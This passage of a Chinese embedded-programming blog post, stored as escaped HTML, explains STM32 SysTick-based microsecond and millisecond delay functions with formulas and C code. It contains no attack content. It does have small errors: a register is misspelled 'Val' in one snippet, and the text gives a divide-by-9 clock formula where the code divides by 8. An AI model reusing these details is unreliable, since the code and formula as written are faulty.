id=\"进行-us-级别延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E8%BF%9B%E8%A1%8C-us-%E7%BA%A7%E5%88%AB%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"进行 us 级别延时\"\u003e\u003c/a\u003e进行 us 级别延时\u003c/h3\u003e\u003ch4 id=\"关于时钟\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%85%B3%E4%BA%8E%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"关于时钟\"\u003e\u003c/a\u003e关于时钟\u003c/h4\u003e\u003cp\u003e本次选用外部时钟。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对于STM32,外部时钟源是HCLK(AHB总线时钟)的1/8,内核时钟是HCLK时钟\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e)可以翻出来 CubeMX 的时钟树看一眼\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\"/\u003e\u003c/p\u003e\u003cp\u003e以f103 为例,这里HCLK 为72MHz,那么SYSTICK 的时钟为9MHz,即 \u003cstrong\u003eSYSTICK定时器以9MHz的频率递减\u003c/strong\u003e 。\u003c/p\u003e\u003ch4 id=\"计算\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"计算\"\u003e\u003c/a\u003e计算\u003c/h4\u003e\u003cp\u003e如果要获取 \u003cstrong\u003eN\u003c/strong\u003eus的延迟,那么我们需要计算出 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,即重加载值\u003c/p\u003e\u003cp\u003e容易得到:\u003c/p\u003e\u003cp\u003e$1s = 10^6us$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK}\\times 10^6$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SysTick \\times 10^{-6}$$\u003c/p\u003e\u003cp\u003e已知有:\u003c/p\u003e\u003cp\u003e$HCLK=72MHz$\u003c/p\u003e\u003cp\u003e$SYSTICK=9MHz$\u003c/p\u003e\u003cp\u003e代入具体数值可以得到:\u003c/p\u003e\u003cp\u003e$LOAD=Nus\\times9\\times 10^6\\times 10^{-6}$\u003c/p\u003e\u003cp\u003e最后得到\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times9$$\u003c/p\u003e\u003ch4 id=\"72M主频代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#72M%E4%B8%BB%E9%A2%91%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"72M主频代码\"\u003e\u003c/a\u003e72M主频代码\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e)博客里面xjb找了一段\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"us级延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#us%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"us级延时\"\u003e\u003c/a\u003eus级延时\u003c/h5\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序起始处)*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVal\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序结束处)*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"ms级延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#ms%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"ms级延时\"\u003e\u003c/a\u003ems级延时\u003c/h5\u003e\u003cp\u003e循环1000次即可\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"更通用一点的代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E6%9B%B4%E9%80%9A%E7%94%A8%E4%B8%80%E7%82%B9%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"更通用一点的代码\"\u003e\u003c/a\u003e更通用一点的代码\u003c/h3\u003e\u003cp\u003e上面那个 \u003ccode\u003eSysTick-\u0026gt;LOAD=nus*9;\u003c/code\u003e 的9是手动算出来的,一般情况下主频是很容易知道的,那直接用主频自动算出这个数字就更方便了\u003c/p\u003e\u003cp\u003e再次回到上面的式子\u003c/p\u003e\u003cp\u003e记系统时钟 $SYSCLK \\ Mhz$\u003c/p\u003e\u003cp\u003e$SYSTICK=SYSCLK\\div9 \\ Mhz$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK\\times10^6}\\times 10^6=\\frac{LOAD}{SYSTICK}$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SYSTICK$$\u003c/p\u003e\u003cp\u003e这样可以在代码中定义一个延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/p\u003e\u003cp\u003e$fac_\\ us=SYSCLK\\div8$\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cp\u003e代码分为两步\u003c/p\u003e\u003col\u003e\u003cli\u003e配置 \u003ccode\u003eSYSTICK\u003c/code\u003e 为\u003ccode\u003eSYSCLK\u003c/code\u003e 的$\\frac{1}{8}$ ,并计算出延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/li\u003e\u003cli\u003e采用SysTick定时器位16标志位读取方式做延时\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e还要记得在头文件包含 \u003ccode\u003estm32f1xx.h\u003c/code\u003e\u003c/strong\u003e (以f103为例)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edealy.c\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e fac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us延时倍乘数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 初始化延迟函数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSTICK的时钟固定为AHB时钟的1/8\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSCLK:系统时钟频率\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK_DIV8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//配置SYSTICK \u003c/span\u003efac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSYSCLK\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序起始处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003efac_us\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序结束处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//ms级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edelay.h\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f1xx.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e \u003cstrong\u003e函数 \u003ccode\u003eHAL_SYSTICK_CLKSourceConfig()\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Configures the SysTick clock source. * @param CLKSource specifies the SysTick clock source. * This parameter can be one of the following values: * @arg SYSTICK_CLKSOURCE_HCLK_DIV8: AHB clock divided by 8 selected as SysTick clock source. * @arg SYSTICK_CLKSOURCE_HCLK: AHB clock selected as SysTick clock source. * @retval None */\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e CLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Check the parameters */\u003c/span\u003e \u003cspan class=\"token function\"\u003eassert_param\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eIS_SYSTICK_CLK_SOURCE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e|=\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e\u0026amp;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003ch2 id=\"总结\"\u003e\u003ca 